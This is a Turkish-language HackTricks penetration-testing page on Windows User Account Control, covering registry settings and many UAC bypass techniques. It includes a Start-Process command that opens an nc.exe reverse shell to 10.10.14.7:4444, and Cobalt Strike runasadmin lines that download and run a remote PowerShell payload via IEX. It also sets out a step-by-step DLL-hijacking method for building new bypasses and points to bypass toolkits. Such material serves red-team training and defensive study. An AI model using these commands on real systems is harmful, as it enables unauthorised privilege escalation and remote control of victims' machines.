UAC - Kullanıcı Hesabı Kontrolü
Reading time: 10 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
UAC
Kullanıcı Hesabı Kontrolü (UAC), yükseltilmiş aktiviteler için onay istemi sağlayan bir özelliktir. Uygulamalar farklı bütünlük
seviyelerine sahiptir ve yüksek seviyeye sahip bir program, sistemi potansiyel olarak tehlikeye atabilecek görevleri yerine getirebilir. UAC etkin olduğunda, uygulamalar ve görevler her zaman bir yönetici hesabının güvenlik bağlamında çalışır, aksi takdirde bir yönetici bu uygulama/görevlerin sisteme yönetici düzeyinde erişim izni vermediği sürece. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez.
Bütünlük seviyeleri hakkında daha fazla bilgi için:
UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart kullanıcı anahtarı, normal seviyede düzenli işlemler gerçekleştirmek için ve yönetici ayrıcalıkları olan bir jeton.
Bu sayfa, UAC'nin nasıl çalıştığını derinlemesine tartışmakta ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içermektedir. Yöneticiler, UAC'nin kendi organizasyonlarına özgü nasıl çalıştığını yerel düzeyde (secpol.msc kullanarak) veya bir Active Directory alan ortamında Grup Politika Nesneleri (GPO) aracılığıyla yapılandırıp dağıtmak için güvenlik politikalarını kullanabilirler. Çeşitli ayarlar detaylı olarak burada tartışılmaktadır. UAC için ayarlanabilecek 10 Grup Politika ayarı vardır. Aşağıdaki tablo ek detaylar sağlamaktadır:
UAC Bypass Teorisi
Bazı programlar, kullanıcı yönetici grubuna ait olduğunda otomatik olarak yükseltilir. Bu ikili dosyaların içinde Manifests kısmında autoElevate seçeneği True değeri ile bulunur. İkili dosya ayrıca Microsoft tarafından imzalanmış olmalıdır.
Sonra, UAC'yi atlamak (bütünlük seviyesini orta seviyeden yüksek seviyeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları kullanarak rastgele kod çalıştırır çünkü bu, Yüksek seviye bütünlük sürecinden çalıştırılacaktır.
Bir ikili dosyanın Manifest dosyasını, Sysinternals'tan sigcheck.exe aracını kullanarak kontrol edebilirsiniz. Ve süreçlerin bütünlük seviyesini Process Explorer veya Process Monitor (Sysinternals) kullanarak görebilirsiniz.
UAC'yi Kontrol Et
UAC'nin etkin olup olmadığını doğrulamak için:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Eğer 1
ise UAC etkin, eğer 0
ise veya mevcut değilse, UAC etkisizdir.
Sonra, hangi seviyenin yapılandırıldığını kontrol edin:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Eğer
0
ise, UAC istemi olmayacak (gibi devre dışı) - Eğer
1
ise, yönetici kullanıcı adı ve şifre istenir yüksek haklarla ikili dosyayı çalıştırmak için (Güvenli Masaüstünde) - Eğer
2
ise (Her zaman beni bilgilendir) UAC, yönetici yüksek ayrıcalıklarla bir şey çalıştırmaya çalıştığında her zaman onay isteyecektir (Güvenli Masaüstünde) - Eğer
3
ise,1
gibi ama Güvenli Masaüstünde gerekli değil - Eğer
4
ise,2
gibi ama Güvenli Masaüstünde gerekli değil - Eğer
5
ise (varsayılan) yöneticiye yüksek ayrıcalıklarla Windows dışı ikili dosyaları çalıştırmak için onay isteyecektir
Sonra, LocalAccountTokenFilterPolicy
değerine bakmalısınız
Eğer değer 0
ise, yalnızca RID 500 kullanıcısı (yerleşik Yönetici) UAC olmadan yönetici görevlerini yerine getirebilir ve eğer 1
ise, "Yöneticiler" grubundaki tüm hesaplar bunları yapabilir.
Ve son olarak FilterAdministratorToken
anahtarının değerine bakmalısınız
Eğer 0
(varsayılan), yerleşik Yönetici hesabı uzaktan yönetim görevlerini yapabilir ve eğer 1
ise, yerleşik Yönetici hesabı uzaktan yönetim görevlerini yapamaz, LocalAccountTokenFilterPolicy
1
olarak ayarlanmadıkça.
Özet
- Eğer
EnableLUA=0
veya yoksa, hiç kimse için UAC yok - Eğer
EnableLua=1
veLocalAccountTokenFilterPolicy=1
, hiç kimse için UAC yok - Eğer
EnableLua=1
veLocalAccountTokenFilterPolicy=0
veFilterAdministratorToken=0
, RID 500 için UAC yok (Yerleşik Yönetici) - Eğer
EnableLua=1
veLocalAccountTokenFilterPolicy=0
veFilterAdministratorToken=1
, herkes için UAC var
Tüm bu bilgiler metasploit modülü kullanılarak toplanabilir: post/windows/gather/win_privs
Kullanıcınızın gruplarını kontrol edebilir ve bütünlük seviyesini alabilirsiniz:
net user %username%
whoami /groups | findstr Level
UAC atlatma
note
Kurbanın grafik erişimine sahipseniz, UAC atlatması oldukça basittir çünkü UAC istemi göründüğünde "Evet"e tıklamanız yeterlidir.
UAC atlatması aşağıdaki durumda gereklidir: UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.
UAC'nın en yüksek güvenlik seviyesinde (Her Zaman) atlatılmasının, diğer seviyelerden (Varsayılan) çok daha zor olduğunu belirtmek önemlidir.
UAC devre dışı
Eğer UAC zaten devre dışıysa (ConsentPromptBehaviorAdmin
0
) yönetici ayrıcalıklarıyla bir ters kabuk çalıştırabilirsiniz (yüksek bütünlük seviyesi) gibi bir şey kullanarak:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC atlatma ile token kopyalama
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Çok Temel UAC "atlatma" (tam dosya sistemi erişimi)
Eğer Administrators grubunda bir kullanıcı ile bir shell'e sahipseniz, C$ paylaşımını SMB (dosya sistemi) üzerinden yeni bir diske yerel olarak monte edebilir ve dosya sisteminin içindeki her şeye erişim sağlayabilirsiniz (hatta Administrator ana klasörüne).
warning
Bu numaranın artık çalışmadığı görünüyor
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UAC bypass with cobalt strike
Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesinde ayarlanmamışsa çalışacaktır.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire ve Metasploit ayrıca UAC'yi bypass etmek için birkaç modül sunmaktadır.
KRBUACBypass
Dokümantasyon ve araç https://github.com/wh0amitz/KRBUACBypass adresinde bulunmaktadır.
UAC bypass exploitleri
UACME, birkaç UAC bypass exploitinin derlemesidir. UACME'yi visual studio veya msbuild kullanarak derlemeniz gerektiğini unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin Source\Akagi\outout\x64\Debug\Akagi.exe
) oluşturacaktır, hangi dosyaya ihtiyacınız olduğunu bilmeniz gerekecek.
Dikkatli olmalısınız çünkü bazı bypasslar, kullanıcıya bir şeylerin olduğunu bildiren bazı diğer programları uyarabilir.
UACME, her tekniğin çalışmaya başladığı derleme sürümünü içerir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Also, using this page you get the Windows release 1607
from the build versions.
Daha Fazla UAC atlatma
Burada AUC'yi atlatmak için kullanılan tüm teknikler, kurbanla tam etkileşimli bir shell gerektirir (yaygın bir nc.exe shell yeterli değildir).
Bir meterpreter oturumu kullanarak elde edebilirsiniz. Session değeri 1 olan bir işleme geçin:
(explorer.exe çalışmalıdır)
GUI ile UAC Atlatma
Eğer bir GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz, gerçekten bir atlatmaya ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlatmanıza olanak tanır.
Ayrıca, birinin kullandığı (potansiyel olarak RDP aracılığıyla) bir GUI oturumu elde ederseniz, yönetici olarak çalışan bazı araçlar olacaktır; buradan örneğin admin olarak doğrudan bir cmd çalıştırabilirsiniz, UAC tarafından tekrar istemde bulunulmadan https://github.com/oski02/UAC-GUI-Bypass-appverif. Bu biraz daha gizli olabilir.
Gürültülü brute-force UAC atlatma
Eğer gürültü yapmaktan rahatsız değilseniz, her zaman şunu çalıştırabilirsiniz https://github.com/Chainski/ForceAdmin ki bu da kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar.
Kendi atlatmanız - Temel UAC atlatma metodolojisi
UACME'ye bir göz atarsanız, çoğu UAC atlatmasının bir Dll Hijacking zafiyetini kötüye kullandığını göreceksiniz (esas olarak kötü amaçlı dll'yi C:\Windows\System32 içine yazarak). Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun.
- Otomatik yükseltme yapacak bir ikili dosya bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin).
- Procmon ile DLL Hijacking'e karşı savunmasız olabilecek "NAME NOT FOUND" olaylarını bulun.
- Muhtemelen bazı korumalı yollar (örneğin C:\Windows\System32) içinde yazma izinlerinizin olmadığı DLL'yi yazmanız gerekecek. Bunu atlatmak için:
- wusa.exe: Windows 7, 8 ve 8.1. Korumalı yollar içinde bir CAB dosyasının içeriğini çıkarmaya olanak tanır (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır).
- IFileOperation: Windows 10.
- Korumalı yola DLL'nizi kopyalamak ve savunmasız ve otomatik yükseltilmiş ikili dosyayı çalıştırmak için bir script hazırlayın.
Başka bir UAC atlatma tekniği
Bir autoElevated binary'nin kayıttan bir ikili veya komut'un adını/yolunu okumaya çalışıp çalışmadığını izlemeyi içerir (bu, ikilinin bu bilgiyi HKCU içinde araması durumunda daha ilginçtir).
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.